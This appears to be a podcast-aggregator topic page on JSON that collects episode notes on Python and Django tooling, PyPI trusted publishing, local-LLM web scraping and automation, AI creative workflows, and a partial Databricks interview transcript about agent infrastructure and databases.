Text-based open standard designed for human-readable data interchange
POPULARITY
Categories
Topics covered in this episode: django-orjson Best Django Redis configuration for speed and size Linus Torvalds puts the foot down against Anti-AI Kernel Maintainers Django Steering Council backs the Triptych Project Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Consulting from Six Feet Up Connect with the hosts Michael: Mastodon / BlueSky / X / LinkedIn Calvin: Mastodon / BlueSky / X / LinkedIn Show: Mastodon / BlueSky / X Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Tuesday at 7am PT. Older video versions available there too. Michael #1: django-orjson Adam Johnson dropped django-orjson - drop-in replacements for the Django and DRF pieces that touch JSON, swapping stdlib json for orjson, the Rust-based library. Headline numbers: 10x faster serialization, 2x faster deserialization. The interesting question is why this needs to be a package at all. pip install orjson is the easy part. Adam's actual pitch: adopting it "isn't easy, especially when your framework uses json in many different parts." Django scatters JSON across JsonResponse, the test client and test case classes, the json_script template tag, and more. There's no single hook to grab, so you get a library that catches them all. Adam is refreshingly honest about the scale of the win. His words: "While database queries tend to dominate the typical Django application's runtime, the time spent in serialization and deserialization can still be significant." He calls it "a nearly free performance win" - not "this will 10x your app." That's a claim about cost, not magnitude, and it's worth keeping those straight. Worth flagging what the post doesn't cover: caveats. There are none in the article, but orjson has real ones. Django and Flask both render datetimes as RFC 822 HTTP-date (Wed, 15 Jul 2026 12:00:00 GMT); orjson does ISO 8601. It can't do ensure_ascii, it rejects NaN and Infinity (which stdlib happily emits), and it raises on Decimal. If you've got a JS client parsing dates, that's a wire-format change. Who should actually take this? If you're a DRF shop shoveling JSON all day, yes - it's cheap and it's real. If your app mostly renders HTML templates, you're optimizing a slice of runtime that's already near zero. The problem Adam's package solves doesn't exist in Flask or Quart. They already centralize every JSON operation - jsonify, request.get_json(), the test client, the |tojson filter - behind one provider object at app.json. So there's no library to install. It's about ten lines: import orjson from quart.json.provider import JSONProvider # or flask.json.provider class OrjsonProvider(JSONProvider): def dumps(self, obj, **kwargs) -> str: return orjson.dumps(obj).decode() # provider must return str def loads(self, s, **kwargs): return orjson.loads(s) app.json = OrjsonProvider(app) The numbers on talkpython.fm Evaluated it, measured it, and skipped it. The biggest JSON payload we serve is our MCP server returning a cached episode transcript, about 139 KB. Swapping the provider saves 0.119 milliseconds per request. That total response takes 1.1 ms We got 4.1x, not 10x - and the reason is the good lesson. Payload shape decides your speedup. The 10x is for structure-heavy data, lots of small keys where stdlib burns time in Python-level dispatch per item. Our hot payload is one giant transcript string, so the work is escaping and memcpy Calvin #2: Best Django Redis configuration for speed and size Peter Bengtsson revisits a classic: his 2017 "Fastest Redis configuration for Django" benchmark now has a 2026 update posted this week. The 2017 post pitted django-redis serializers (json, ujson, msgpack, pickle) and compressors (zlib, lzma) against each other; conclusion was msgpack + zlib as the sweet spot - avoid the json serializer, it's fat and slow. The 2026 update narrows focus to just compressors: default (no compression), zlib, lzma, and newcomer zstd. New results: lzma compresses best but is slowest; zstd is the fastest compressor on Ubuntu; differences between them are very small. Big takeaway across both: compression buys you a lot of space (2–3.5x smaller) for very little speed cost - worth it for Redis where memory is the constraint. Caveat from the author: results depend heavily on your data - his test stores short strings of numbers, so benchmark your own workload. Michael #3: Linus Torvalds puts the foot down against Anti-AI Kernel Maintainers Write up on Ars. Really good coverage by Maximillian: Time to wake up (for some) Torvalds said that “Linux is not one of those anti-AI projects, and if somebody has issues with that, they can do the open-source thing and fork it. Or just walk away.” I agree with Max, putting your head in the sand and waiting for AI to go away will likely mean you won't be working professionally in software development in the coming years. The statement came amid a lengthy thread arguing about the use of Sashiko, an “agentic Linux kernel code review system” that its creators claim can, in tests, independently find 53.6 percent of the bugs that would end up being fixed by human coders in later commits. “We're not forcing anybody to use [LLM tools], but I will very loudly ignore people who try to argue against other people from using it,” Torvalds said. “Anybody who points to the problems at AI had better be looking in the mirror and pointing at themselves at the same time,” Torvalds wrote. Calvin #4: Django Steering Council backs the Triptych Project Django Steering Council issued a Letter of Collaboration backing Carson Gross & Alex Petros's funding bid for the Triptych Project - three proposals to make HTML more expressive natively, in every browser. The three additions: PUT/PATCH/DELETE methods for forms, button actions (buttons that fire HTTP requests without a wrapping form), and partial page replacement. Distills the core ideas from HTMX/Unpoly/Turbo into the HTML standard itself - no JS, no library, nothing to ship or maintain. Current focus is button actions (WHATWG #12330): Logout instead of wrapping a button in a form. Relevant to Django directly - think the admin submit row and disguised delete links; Django 6.0's template partials were already inspired by these patterns. How to help: companies can send non-binding letters of support on letterhead; individuals can read the proposals and weigh in on the WHATWG issues. Extras Calvin: DOOMQL - A playable first-person shooter whose framebuffer is a SQL query. Michael: Granian 2.7.9 fixes WSGI threadpool scheduler starvation/underscaling Welcome Calvin post Joke: Solving all bugs
¿Cansado de perder 15 minutos cada mañana revisando el tiempo, las noticias, las ofertas y el estado de tu servidor? En este episodio te muestro cómo automatizar todo ese proceso con un script en Python, un timer de systemd y un modelo de lenguaje local. Sin n8n, sin agentes, sin servicios externos de pago.Mucha gente piensa que para automatizar cualquier cosa necesitas un agente con montones de herramientas MCP, skills y configuración. Pero la realidad es que para muchas tareas cotidianas, un agente es como usar un lanzamisiles para matar una mosca. Consume demasiado contexto, demasiados recursos y al final no es la solución más eficiente.En este episodio te presento el patrón de las tres capas: un script que hace el trabajo, un timer que lo ejecuta a una hora determinada y un sistema de notificaciones que te envía el resultado. Con esto puedes automatizar cualquier cosa de forma sencilla, eficiente y completamente bajo tu control.Te explico cómo he creado el nightly-runner, un script en Python que cada madrugada recopila información de cuatro fuentes distintas. Primero consulta el tiempo en wttr.in, que te devuelve un JSON con la temperatura, el viento, la humedad y los rayos ultravioleta. Luego hace scraping con IA de tus fuentes de noticias favoritas, extrayendo titulares y valorando su relevancia. Después busca ofertas de zapatillas de running en varias tiendas, comparando los precios con los del día anterior. Y por último recoge información del sistema con df, free, uptime y ps aux para saber si tu disco se está llenando o te estás quedando sin RAM.Toda esa información se guarda en archivos JSON y luego se pasa por un modelo de lenguaje local, Llama 3.2 con Ollama, que genera un resumen en lenguaje natural. El resultado es un mensaje de Telegram con un tono cercano que te da los buenos días, te cuenta el tiempo que va a hacer, te destaca las noticias importantes, te avisa si hay una oferta que no puedes dejar pasar y te informa del estado de tu servidor. Todo en un solo mensaje.El timer de systemd con Persistent=true se asegura de que si tu equipo estaba apagado a las 4 de la mañana, el script se ejecute en cuanto se encienda. Y cada capa es tolerante a fallos: si wttr.in está caído, el script simplemente omite el tiempo y el resumen dice que no hay información meteorológica disponible. Si no hay ofertas nuevas, no las menciona. Si Ollama no responde, envía el resumen sin procesar.Lo mejor de todo es que no necesitas saber Python para montar esto. Puedes usar Open Code o Gemini para que te genere el script con solo explicarle lo que quieres. Y para ejecutarlo, Llama 3.2 en local es más que suficiente. Sin gastar un euro en APIs.Capítulos:0:00 - Crítica a los agentes como solución universal2:00 - El problema: 15 minutos perdidos cada mañana4:00 - La solución: tres capas (script, timer, notificación)5:30 - wttr.in: el tiempo en JSON con un curl7:30 - Noticias: scraping con IA para extraer titulares9:30 - Zapatillas: comparativa de precios contra caché11:00 - Sistema: df, free, uptime y ps aux13:00 - El resumen: todos los JSONs pasan por Llama 3.216:00 - Systemd timer con Persistent=true18:00 - Notificaciones a Telegram y notify-send20:00 - Tolerancia a fallos en cada capa21:30 - Genera el script con IA aunque no sepas Python23:00 - Comparación con Hermes: menos es másEste podcast pertenece a la red de Sospechosos Habituales. Más información en atareao.esMás información y enlaces en las notas del episodio
In un mondo dove i formati di scrittura sono molteplici e ciascuno pensato per obiettivi specifici, ce n'è uno che, negli ultimi anni, ha guadagnato una popolarità inaspettata: il Markdown. Non è il più potente, non è il più completo, eppure è diventato il linguaggio prediletto dall'intelligenza artificiale. Ma perché proprio il Markdown? E come si è evoluto dall'idea di un blogger nel 2004 a diventare lo standard attraverso il quale le macchine comunicano con noi? In questa puntata esploriamo la storia dei linguaggi di markup, dalle radici dell'HTML ai sofisticati LaTeX e AsciiDoc, per capire cosa rende il Markdown così speciale e se continuerà a dominare nel futuro, oppure verrà soppiantato da nuovi contendenti.Nella sezione delle notizie parliamo di come l'IA e il quantum computing stiano rivoluzionando la scoperta di nuovi peptidi, del nuovo limitatore di velocità europeo e infine del successo della Cina con il primo recupero di un razzo riutilizzabile.--Indice--00:00 - Introduzione01:03 - IA e quantum per creare peptidi più efficaci (Wired.com, Luca Martinelli)02:33 - Il nuovo limitatore di velocità europeo (HDMotori.it, Davide Fasoli)03:33 - Anche la Cina ha il suo razzo riutilizzabile (DDay.it, Matteo Gallo)04:48 - Perché l'intelligenza artificiale scrive in Markdown? (Luca Martinelli)19:38 - Conclusione--Testo--Leggi la trascrizione: https://www.dentrolatecnologia.it/S8E29#testo--Contatti--• www.dentrolatecnologia.it• Instagram (@dentrolatecnologia)• Telegram (@dentrolatecnologia)• YouTube (@dentrolatecnologia)• redazione@dentrolatecnologia.it--Brani--• Ecstasy by Rabbit Theft• Baby by Sam Day
An airhacks.fm conversation with Stanislav Bashkyrtsev about: discussion about testing terminology and the difference between unit tests, component tests, System Tests, and integration tests, defining component tests as in-process invocations without HTTP, using RestAssured with MockMvc-style direct endpoint calls, avoiding mocks in favor of real system tests, why code coverage is a misused management metric, the anti-pattern of using reflection to inflate coverage, distinguishing line and branch coverage from actual verification, using coverage from system tests to detect dead code for pruning, mutation testing with PIT to measure assertion quality, testing Quarkus applications, the default Guice and Guava dependencies in Quarkus RESTEasy, starting a new microservice with a separate system-test module, calling endpoints over HTTP with the MicroProfile REST Client or the Java HTTP client, deploying Quarkus on AWS Lambda as a production-like environment, backward compatibility testing with multiple production versions, turning system tests into stress and load tests, testing connection pools and metrics under load, introducing a test-only private API to verify state changes in serverless systems, contract-driven work in large consulting projects, generating JSON and JSONB directly in PostgreSQL and returning it over JDBC, mapping database rows to Java records instead of DTOs, running GraalVM inside the Oracle Database for stored procedures and table triggers, the pendulum between database-centric and application-centric logic, the convergence of SQL and NoSQL databases, CI/CD pipelines with Jenkins and manual production deployment steps, avoiding Jenkins access to production via CGI shell scripts behind nginx, AWS CodePipeline and CodeBuild with CDK-defined infrastructure, event-driven pipelines triggered by S3 put-object events, multi-account roles with short-lived STS credentials, the size of the AWS SDK and reducing it by excluding unused HTTP clients, health checks and Kubernetes liveness and readiness probes, why health checks make little sense for short-lived Lambdas, a version endpoint for deployment smoke tests Stanislav Bashkyrtsev on twitter: @sbashkirtsev
Topics covered in this episode: The trusted-publishing debate: how to do it right vs. why you shouldn't trust it JupyterLab 4.6 and Notebook 7.6 are out! Tau – new small, readable terminal coding agent Django Tasks and Django 6.1 Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Consulting from Six Feet Up Connect with the hosts Michael: Mastodon / BlueSky / X / LinkedIn Calvin: Mastodon / BlueSky / X / LinkedIn Show: Mastodon / BlueSky / X Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Tuesday at 7am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Calvin #1: The trusted-publishing debate: how to do it right vs. why you shouldn't trust it https://snarky.ca/how-to-publish-to-pypi-using-github-actions-securely/ (Brett Cannon) and https://blog.yossarian.net/2026/07/07/You-shouldnt-trust-trusted-publishing (William Woodruff) Trusted Publishing (PyPI's OIDC-based auth scheme, also now used by npm, RubyGems, crates.io, NuGet) replaces long-lived API tokens with short-lived, auto-scoped credentials tied to CI/CD machine identity. Yossarian's post: it's purely an authentication mechanism between a machine identity and a package — it says nothing about package safety or quality. PyPI deliberately avoids any "verified/trusted" badge for it, unlike its verified-URL checkmarks. Same logic applies to PyPI attestations: anyone can sign with any machine identity they control, so an attestation's presence isn't itself a trust signal. Bottom line from that post: don't confuse "trusted" (machine-to-machine) with "trustworthy" (human judgment about the package). Snarky.ca's companion piece is more practical: given GitHub Actions compromises in the news, the real fix is 3 concrete steps — run zizmor to lock down workflow permissions/checkout credentials and pin actions to commit hashes, adopt Trusted Publishing to eliminate stored PyPI tokens, and require manual approval via a GitHub environment before any publish job runs. Takeaway for listeners: Trusted Publishing is good hygiene for how you authenticate to PyPI, but it's not a substitute for securing your CI pipeline itself — or for actually vetting the packages you install. Michael #2: JupyterLab 4.6 and Notebook 7.6 are out! Michał Krassowski's rundown - a chunky minor release: 68 features, 97 bug fixes, 95 contributors, one of the biggest ever. Scratchpad console (Notebook 7.6 headliner) - a console next to your notebook sharing its kernel, for throwaway experiments. Ctrl+B. Jump to last-edited cell - new commands hop through recently edited cells. File browser glow-up - Date Created column, editable breadcrumbs with Tab-completion, and Open in Terminal. Debugger - sources open in the main area, floating step/continue overlay, live kernel-sources filter. Custom layouts (Lab) - activity bar top/bottom, draggable panels, four-way tab splits, per-panel Ctrl+scroll zoom. ~5x faster extension builds - webpack → Rspack, and jupyter-builder means no full Lab install needed to build extensions. Keyboard/a11y - add shortcuts from the UI (no JSON), Find & Replace in Edit menu (Ctrl+H). Calvin #3: Tau – new small, readable terminal coding agent Tau – new small, readable terminal coding agent (Python 3.12+), built as both a working tool and a teaching project for how coding agents work under the hood Install via uv tool install tau-ai, pipx, or pip; ships a tau CLI Three-layer architecture: tau_ai (provider-neutral model layer) → tau_agent (reusable "brain": messages, tools, events, loop) → tau_coding (CLI/TUI, file & shell tools, sessions) Supports OpenAI, Anthropic, OpenAI Codex, OpenRouter, Hugging Face, and custom/local OpenAI-compatible endpoints Built-in tools (read/write/edit/bash), durable JSONL sessions with resume/branching, project instructions via AGENTS.md, and context compaction Core harness is UI-agnostic — same brain can power the TUI, print mode, or a custom frontend — usable as a standalone library too Michael #4: Django Tasks and Django 6.1 Django 6.0 finally ships first-party background tasks (django.tasks) - out of Jake Howard's DEP 14, accepted May 2024, after two decades of everyone bolting on Celery/RQ/Huey. It's an API, not a worker. Django handles task definition, validation, queuing, and result storage - it does not execute them. You bring the backend. The default backend traps people. ImmediateBackend runs tasks inline on the request thread and blocks until done - so out of the box .enqueue() backgrounds nothing (a 5-second task means a 5-second response). The other built-in, DummyBackend, runs nothing at all. Both are dev/test only. Nice API otherwise: slap @task on a function, call .enqueue(), get back a TaskResult you look up later by id - with async twins like aenqueue(). Gotcha: args and return values must survive a JSON round-trip, so a tuple sneakily comes back as a list. The community local backend to know: django-tasks-local by Chris Beaven (SmileyChris). A ThreadPoolExecutor backend that gives real background threads with zero infrastructure - no Redis, no Celery, no database - plus a ProcessPoolBackend for CPU-bound work → github.com/lincolnloop/django-tasks-local Its catch: results live in memory, so pending tasks vanish on restart or deploy. Great for dev and low-traffic production; for persistence, drop to Jake Howard's django-tasks (DatabaseBackend + worker command). Extras Calvin: Fixing the dictionary with Python 3.14 — Hugo van Kemenade stumbled on - and got fixed - a markup bug in the OED's own citation of a 1706 use of the pi symbol. Michael: Bunny DNS is now free Jokes: What's the object-oriented way to become wealthy? Inheritance To understand what recursion is... You must first understand what recursion is 3 SQL statements walk into a NoSQL bar. Soon, they walk out They couldn't find a table.
Founder/ Data S ience, AI & Economic Consultant at Analytics TX LLC Consulting practice focused on analytics, economic analysis, and executive advisory. • Design consulting frameworks to audit enterprise datasets, resolve data silos, build Python analytics workflows, predictive analysis, and statistical models, translating complex data into decision systems for founders and leadership teams. • Advise organizations on analytics infrastructure, AI tool selection, and pipeline architecture; deliver executive training in statistical reasoning, business analytics, and economic indicators. • Provide statistical and economic expert analysis used in U.S. litigation, including modeling, statistical evaluation of claims, and expert reports. Statistical modeling and damages analyses have contributed to multi-million-dollar settlements and financial exposure reductions in complex litigation matters. (Clients confidential) • Built Post it Save it App, a production SaaS platform that ingests LinkedIn post and profile data via OAuth API and processes it into structured performance analytics dashboards and reports (JSON, Excel, HTML). Deliberately built without AI, delivering accurate, deterministic content analytics at a fraction of the cost of AI-based alternatives or reliance on LLM uncertainties. • Built an end-to-end course creation system for the Professional Certificate in Business Analytics: Data-Informed Decision Making, parsing source materials (PDFs, Word, images) and transforming them into full course content including slides, AI-generated visuals, and voiceover-driven video modules using image generation and ffmpeg pipelines. Follow her on the author page on Amazon where she has published her book:https://www.amazon.com/Invisible-Hand-Visible-Profit-Decisions/dp/B0GY7V14VL Linkedin: https://www.linkedin.com/in/kruti-lehenbauer/ ***********Susanne Mueller / www.susannemueller.biz TEDX Talk, May 2022: Running and Life: 5KM Formula for YOUR Successhttps://www.youtube.com/watch?v=oT_5Er1cLvY Join Substack: https://substack.com/@susannemuellernyc?Enjoy one coaching session for free if you are a yearly subscriber. 800+ weekly blogs / 500+ podcasts / 1 Ironman Triathlon / 5 half ironman races / 26 marathon races / 4 books / 1 Mt. Kilimanjaro / 1 TEDx Talk
En este episodio de Atareao con Linux nos vamos a remangar para hablar de una de esas tecnologías que, una vez las dominas, te cambian la vida por completo: el Web Scraping asistido por Inteligencia Artificial.Seguro que te ha pasado alguna vez. Quieres comprar un producto concreto, como unas zapatillas de running (yo las cambio cada 800 kilómetros y es un goteo constante), o quieres extraer todas las recetas de cocina de una web para montarte tu propio planificador semanal. Lo ideal sería que estas páginas tuvieran una API pública para descargar la información de forma limpia. Pero la cruda realidad es que casi ninguna te lo pone fácil. Ahí es donde entra el scraping: la técnica de extraer la información directamente de la página web.En este episodio te cuento por qué el scraping clásico (ese que utiliza Beautiful Soup en Python y depende de identificar las etiquetas HTML y las clases CSS) tiene los días contados para tareas complejas. Basta con que un desarrollador cambie el diseño de la web para que tu script se rompa por completo. Además, con la llegada de las webs dinámicas, los tests A/B y los sistemas anti-bloqueo como Cloudflare, mantener un scraper tradicional es un auténtico dolor de muelas.La gran alternativa: Inteligencia Artificial en local¿Y si en lugar de pelearnos con el código fuente dejamos que un modelo de lenguaje (LLM) entienda la página exactamente igual que lo haría un humano? Un LLM comprende perfectamente qué es un "precio" o el "nombre de un producto", sin importar cómo esté maquetada la web ni el idioma en el que esté escrita. Y lo mejor de todo: ¡lo podemos hacer 100% gratis en local usando Ollama!Te detallo mis pruebas ejecutando modelos en mi Slimbook One utilizando únicamente la CPU (¡sin gastar un céntimo en nubes ni necesitar tarjetas gráficas carísimas!). Hablaremos de cómo rinden modelos como Llama 3.2, Qwen, Mistral y DeepSeek R1, y cuál es el punto de equilibrio perfecto para no eternizarnos esperando la respuesta.También te desvelo mi fórmula secreta para procesar la información. No podemos enviarle 2 Megabytes de HTML ruidoso a la IA. Te explico los 5 pasos que utilizo en Python para eliminar la basura (scripts, estilos, navegación) y reducir el HTML hasta en un 93%, permitiendo que el modelo extraiga los datos en segundos y nos devuelva un JSON estructurado impecable.Por último, vemos cómo montar un auténtico vigilante de ofertas automatizado en segundo plano. Un sistema que compare los precios de varias tiendas en paralelo.Capítulos del episodio:00:00:00 Introducción al Web Scraping con Inteligencia Artificial00:01:22 ¿Para qué sirve extraer datos? Ejemplos prácticos00:02:42 El gran talón de Aquiles del scraping tradicional00:04:31 La revolución de la IA: Entender la web sin saber HTML00:07:36 Los problemas habituales: Selectores rotos y webs dinámicas00:10:00 Cómo un modelo de lenguaje (LLM) procesa la información00:13:17 Cuándo elegir scraping clásico vs. scraping con IA00:15:28 Comparación de costes: Enfoque clásico, IA local e IA en la nube00:17:19 ¿Qué modelos usar? Pruebas con Llama, Qwen, Mistral y DeepSeek00:18:19 Detrás de escena: Mi script de Python y la limpieza del HTML00:21:05 Creando el prompt perfecto para extraer un JSON estructurado00:24:34 Ejemplo real: Comparativa paralela entre tiendas00:28:38 Diseñando un vigilante de ofertas automatizado (24/7)00:30:17 Casos de uso prácticos y mejoras para evitar bloqueos00:32:02 Cierre y detalles del próximo tutorial de scrapingMás información y enlaces en las notas del episodio
In Episode 73, Salma Aboukarr joins the show. A creative director and founder, she explains how she moved from painstaking CGI workflows in Blender and 3Ds Max to AI-native campaigns for brands including Coca-Cola, Panasonic, and Google Labs. She breaks down her viral IKEA exploding-room video that helped brands see the commercial potential of generative AI video, the detailed JSON prompting method behind it, and the modern AI creative stack she uses across Claude, Midjourney, Nano Banana, Seedance, FAL.ai, Z-Image Turbo, Qwen, style LoRAs, and custom AI agents.The conversation goes deep on AI advertising, product fidelity, photorealistic skin, color correction, video upscaling, automated client workflows, and why high-end AI work still depends on original concepts, trained taste, and obsessive finishing. They debate whether AI can truly be original, why technical teams struggle to manufacture taste, how creators survive a feed flooded with AI content, and why the next creative moat may come from the experiences, references, and strange little details nobody else can copy.---⏱️ Fast Hour00:00 Meet Salma Aboukarr02:17 From CGI agency to AI-first studio04:44 Product fidelity before AI got good07:34 The duct-taped road to photorealism11:10 Art direction beyond basic prompting14:28 Salma's current AI creative stack16:08 How she stress-tests every new model20:20 Why color correction still matters22:25 The IKEA video that changed everything27:13 Going viral and handling AI backlash30:38 Originality as the next creative moat33:05 Can AI actually be original?38:52 Inside an AI-native creative agency39:55 Z-Image Turbo and aesthetic base models43:06 From client brief to automated pipeline47:54 Style LoRAs for brand consistency49:11 Claude, MCP, FAL, and leaving ComfyUI51:07 The model that cut a day to 15 minutes55:13 Why AI content stopped feeling special01:00:57 The value trapped in AI archives01:02:06 Create for yourself or the audience?01:04:31 Can engineers manufacture taste?01:08:38 Finding inspiration outside the feed01:11:57 Jackie Chan and thumbnail fuel01:15:29 Final lessons from a creative trailblazer#AICreative #AIAdvertising #GenerativeAI #AIVideo #CreativeDirection #Midjourney #ClaudeAI #NanoBanana #SeedanceAI #AIWorkflow #AIAgency #AIContentCreation #BrandMarketing #CreativeTechnology #ProductPhotography #AIBranding #FutureOfAdvertising #FastHours
Malcolm Matalka joins William and Eyvonne to challenge the narrative that Infrastructure as Code (IaC) is dead. Malcolm argues that the real value of IaC was never the syntax, but state and governance. Together they examine whether the state was a file problem at all, or a distributed systems problem in a JSON costume. Episode... Read more »
Malcolm Matalka joins William and Eyvonne to challenge the narrative that Infrastructure as Code (IaC) is dead. Malcolm argues that the real value of IaC was never the syntax, but state and governance. Together they examine whether the state was a file problem at all, or a distributed systems problem in a JSON costume. Episode... Read more »
We're excited to have Databricks join us at AIEWF, among hundreds of the top companies in the AI Engineer ecosystem. LS subscribers can use their discount to get past the late bird pricing and access over $50k in sponsor offers! Everyone is still talking about Satya's Frontier Ecosystems post, but few have actually built a (now $175 billion) frontier ecosystem and cloud like our guests today.From open-sourcing the layer above coding agents to rethinking databases for the agent era, Databricks cofounders Matei Zaharia and Reynold Xin are pushing the company beyond the lakehouse into a full data-and-AI operating system. In this episode, Matei and Reynold join swyx at the 2026 Data + AI Summit to unpack Omnigent, LTAP, Lakebase, agent security, open formats, Mosaic, and why databases may matter more than ever once AI agents start doing real work.We go deep on Omnigent: Databricks' open-source meta-harness for combining, controlling, and sharing agents across Claude Code, Codex, Cursor, Pi, custom agents, and internal tools. Matei explains why coding agents and enterprise agents run into the same problems: portability, collaboration, session history, security, spend controls, and the need for a common API above every harness.Then Reynold walks through Databricks' database dream: why CDC is brittle enough to joke that it means “continuous data corruption,” why HTAP has been the holy grail of database engineering, and why Databricks thinks LTAP gets most of the benefits by unifying the storage layer instead of collapsing every query engine. We also cover Databricks' infrastructure scale, the culture behind rapid prototyping, the difference between tech and enterprise customers, Databricks vs Snowflake, whether vector databases should have ever existed, the Mosaic model strategy, Genie, AI Runtime, RL fine-tuning, and the thesis that traditional software gets rewritten once the data is in the right place and agents sit on top.Databricks began as a company for the big data era. The origination of Spark from the Berkeley AMPLab which eventually turned into the product Lakehouse convinced enterprises that they didn't need a separate data lake, warehouse, ML platform, and governance layer. They just needed one open foundation where all of their data could live and be reasoned over.Since then a lot has changed, but data has only become more important. Data is no longer something you keep track of and analyze ad hoc, it's the necessary context agents need in order to act. So the framing has shifted from “where do we put all of our data?” to “how do we expose the right slice of state, history, permissions, and business logic to an AI system at the exact moment it's doing work?”If frontier model performance becomes commoditized, the durable advantage then becomes the company-specific context around them: proprietary data, governed access, operational state, transaction logs, workflows, and feedback loops. Which makes Databricks positioned perfectly.Now coming fresh off the Data + AI Summit 2026, the company is moving just as fast to keep up, announcing Genie One, Omnigent, LTAP, and many more, indicating a central mission in its newer work: Databricks is trying to become the operating system for enterprise agents.Models are getting good enough, but agents are only useful if they have the right context, permissions, memory, state, cost controls, and access to live business data. Fundamentally it appears that significantly better model performance in production is a systems problem, one that data guys like us are remarkably well prepared to solve!We discuss:* Why Databricks built Omnigent as a meta-harness above existing AI agents* Why coding agents and custom enterprise agents need the same infrastructure* The common API for agent sessions, files, streams, tool calls, and cancellation* Why persistent sessions, cloud sandboxes, sharing, search, and collaboration matter* Why Databricks open-sourced Omnigent instead of keeping it proprietary* Databricks' internal agent usage, cloud sandboxes, and coding workflows* The scale of Databricks: 50–60 million virtual machines a day and exabytes before breakfast* Why agent security needs contextual and stateful policies* How an agent could read confidential docs, install a compromised npm package, and leak data* Why spend control matters when an agent can burn $500 reading logs* Startup opportunities around coding-agent analytics, quality, skills, and spend* LTAP, Lakebase, and why Databricks wants to rethink the database stack* OLTP vs OLAP, CDC, and why data pipelines break at 3 a.m.* Why HTAP has historically been the holy grail of database engineering* Why Databricks thinks LTAP is “HTAP done right”* How writing transactional data into column-oriented formats changes analytics* Why agents need live operational context from databases, not just telemetry* How Databricks prototypes strategic systems without endless process* Enterprise vs tech customers, governance, procurement, and DIY culture* The “second system syndrome” risk of rewriting a database engine* Building a database engine from a decade of traces and quadrillions of data points* Why vector databases should never have been a separate category* Why open formats and AI changed the race with Snowflake* The Mosaic story, DBRX, Genie, document parsing models, and specialized model training* Why model customization and RL fine-tuning may become mainstream* Why “get the data there, slap some agent on top” may rewrite traditional softwareMatei Zaharia* LinkedIn: https://www.linkedin.com/in/mateizaharia* X: https://x.com/matei_zahariaReynold Xin* LinkedIn: https://www.linkedin.com/in/rxin* X: https://x.com/rxinDatabricks* Website: https://www.databricks.com* X: https://x.com/databricksTimestamps00:00:00 Introduction00:02:22 Omnigent and the Agent Infrastructure Layer00:08:39 Agent Clouds, Common APIs, and Open Source00:16:52 Databricks Scale and Internal AI Workflows00:18:03 Agent Security, Governance, and Spend Controls00:27:34 LTAP and the Database Dream00:30:30 CDC, HTAP, and Why Data Pipelines Break00:34:05 Lakebase, Parquet, and Live Data for Agents00:36:47 Databricks' Culture of Fast Prototyping00:43:40 The Dream Engine and Rewriting the Database Stack00:51:02 Vector Databases, Query Engines, and LTAP00:52:36 Databricks vs Snowflake00:57:48 Mosaic, DBRX, Genie, and Specialized Models01:03:11 Context, AI Runtime, and RL Fine-Tuning01:06:15 Why Data + Agents May Rewrite Software01:07:09 Closing ThoughtsTranscriptIntroduction: Databricks, Data + AI Summit, and Founder DynamicsSwyx [00:00:00]: Matei and Reynold from Databricks, welcome to Latent Space.Reynold Xin [00:00:06]: Hey, thanks for having us.Swyx [00:00:07]: Yeah.Matei Zaharia [00:00:08]: Yeah, thanks so much.Swyx [00:00:09]: thanks for taking time out. You have your Databricks, Data AI Summit going on. You were just telling me how the first summit that you guys ran was just 50 peopleReynold Xin [00:00:17]: Yeah, it wasSwyx [00:00:17]: in BerkeleyReynold Xin [00:00:18]: little meetup at Berkeley, I thinkMatei Zaharia [00:00:19]: YeahReynold Xin [00:00:19]: put togetherMatei Zaharia [00:00:20]: We were doing these tutorials and, yeah, just teach people Spark.Swyx [00:00:23]: Yeah. obviously now it's like, I think like the headline number's like 100,000 people around the world, 30,000 in person.Swyx [00:00:30]: it's a crazyMatei Zaharia [00:00:31]: AmazingSwyx [00:00:31]: community. Well, I just saw the keynote.Swyx [00:00:35]: Ali's just. Did was it obvious or that back when that Ali would be, like, such a great, like, CEO? LikeReynold Xin [00:00:42]: OhSwyx [00:00:42]: such a great presenter?Reynold Xin [00:00:43]: What do you think?Matei Zaharia [00:00:44]: I think among our group of founders it was clear that, I think he'd be the best at this.Swyx [00:00:50]: Yeah.Matei Zaharia [00:00:50]: And yeah, it turned out great. And he's, he's ramped up on so many topics growing a company. He would just go in and, like, study it and, be talk to all the experts. Like, even if he can't hire the person, learn enough about, like, finance and sales and whatever it was, and, and go from there. Yeah.Swyx [00:01:09]: Yeah.Reynold Xin [00:01:10]: he's obviously very high IQ and a very high EQ, but it wasn't. Like, Ali today is quite different from Ali from, like 10 years ago. I think there's a lot of work that he put in to, get to this point.Swyx [00:01:20]: Yeah. no, to me the most appealing thing about him is that he's funny. And like, it, it's, it'Matei Zaharia [00:01:26]: It's true, yeahSwyx [00:01:26]: it's hard to make jokes about, data warehousesReynold Xin [00:01:30]: About serious topicsSwyx [00:01:31]: securityMatei Zaharia [00:01:32]: YeahSwyx [00:01:32]: what have you.Matei Zaharia [00:01:33]: Oh, yeah. That's for sure.Swyx [00:01:34]: Yeah. So you guys launched a whole bunch of things. I'll, I'll just name check briefly, the stuff because we're not gonna cover everything. Omnigentt, your baby. LTAP, your baby, your dream engine.Swyx [00:01:47]: we're also gonna cover Genie, cover CustomerLake, you acquired PantherMatei Zaharia [00:01:52]: YeahSwyx [00:01:52]: Open Sharing, and there's Unity AI Gateway. A lot of these, I think, like, are things that you would expect a Databricks to do. It's, it's like part of the roadmap. Everyone in your category has similar things. But I think, probably the two of you are leading the two most unique and differentiated initiativesOmnigent and the Agent Infrastructure LayerSwyx [00:02:09]: on, in the landscape. Maybe we'll start with, Omnigentt we'll, we'll, we'll, we'll go into it. I do think that a lot of people are exploring this meta harness concept.Matei Zaharia [00:02:21]: Yeah, totally.Swyx [00:02:21]: What led you to it?Matei Zaharia [00:02:22]: Yeah. There were a couple of, like, converging lines, which I think is a good sign that you need something new. So on the one hand, there's all the coding agent info internally. We have really great, dev infra team. they built something called Isaac, that's like a wrapper on Claude Code and Codex, and, lets you use them either on the web in, like, sandboxes or, just on your dev machine or on your laptop or whatever. And then, they were adding all kinds of stuff there. And we saw all the more advanced engineers like, were building their own workflows with tons of agents, and they were building their own UIs and stuff on top or even on top of that. And then the other one was, like, us building agents. We ship this, like, data science agent called 